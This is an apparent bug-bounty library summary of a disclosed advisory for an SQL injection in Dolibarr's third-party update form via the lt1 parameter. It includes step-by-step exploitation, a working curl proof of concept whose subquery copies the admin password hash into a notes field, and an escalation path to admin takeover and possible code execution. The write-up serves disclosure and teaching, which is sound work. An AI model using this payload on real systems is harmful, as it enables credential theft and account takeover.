# Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter

Unauthenticated-adjacent SQLi in Dolibarr's Third Party update: unescaped lt1 numeric field lets a standard user exfiltrate admin password hashes via subquery.

- Payout: Research
- Severity: high
- Program: Dolibarr
- Found by: F37I5H
- Disclosed: 2026-10-27
- CVE: CVE-2026-33944
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-v5fq-cf5m-vwv7
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-v5fq-cf5m-vwv7
- Tags: area:web domain:web impact:ato impact:data-leak impact:privesc kind:research platform:ghsa sev:high tech:php technique:source-review vuln:sqli

**Target:** societe/card.php update endpoint (localtax1_value / lt1 POST parameter)
**Root cause:** The lt1 POST value is passed through GETPOST('lt1','alpha') and only trim()'d, then concatenated unquoted into an UPDATE statement at societe.class.php:1672, so numeric-context SQL injection is possible without quotes or filtered characters.
**Steps:**
1. Log in as a user with Third Parties Create/Edit permission.
2. Open any Third Party edit form and intercept the POST to /societe/card.php?socid=1.
3. Add `localtax1assuj_value=1` and `lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)` to the body.
4. Submit; server returns 302 and the subquery result is written into note_private.
5. View the company Notes tab to read the exfiltrated admin MD5 hash.
6. Confirm injection with `lt1=3+4` (stores 7.0000) or `lt1=(SELECT COUNT(*) FROM llx_user)`.
**How found:** Code review of societe.class.php: noticed adjacent localtax1_assuj cast to (int) but localtax1_value concatenated raw; confirmed alpha filter doesn't strip single quotes/parens/commas and injection sits in unquoted numeric context, bypassing the GET-only WAF.
**Exploitation:** Authenticated standard user submits a crafted POST to the company update endpoint; the injected SET clause writes a subquery result (admin pass_crypted) into note_private, which is then read back in the UI. Same primitive allows arbitrary record modification via extra SET clauses.
**Escalation:** Crack unsalted MD5 admin hash to gain admin, then use admin-only features (Website module PHP injection, ModuleBuilder) for potential RCE.
**Insight:** In numeric SQL contexts, the 'alpha' filter is irrelevant — hunt for unquoted concatenation of numeric-looking fields (tax rates, amounts, IDs) and check whether sibling fields are cast while one is missed; also note WAFs that only inspect GET.

## Proof of concept (copied exactly from the original report)

**Injected lt1 parameter exfiltrating admin password hash**

```
localtax1assuj_value=1`
     - `lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)
```

**curl PoC POST request with SQL injection payload**

```
curl -b cookies.txt \
    --data-urlencode "action=update" \
    --data-urlencode "token=CSRF_TOKEN" \
    --data-urlencode "socid=1" \
    --data-urlencode "name=TestCompany" \
    --data-urlencode "status=1" \
    --data-urlencode "localtax1assuj_value=1" \
    --data-urlencode "lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)" \
    --data-urlencode "client=1" \
    --data-urlencode "typent_id=0" \
    "http://TARGET/societe/card.php?socid=1"
```

**Arithmetic evaluation proof lt1=3+4**

```
Sending `lt1=3+4` results in `localtax1_value=7.0000` stored in the database. The expression was evaluated by the SQL engine, confirming injection.
```

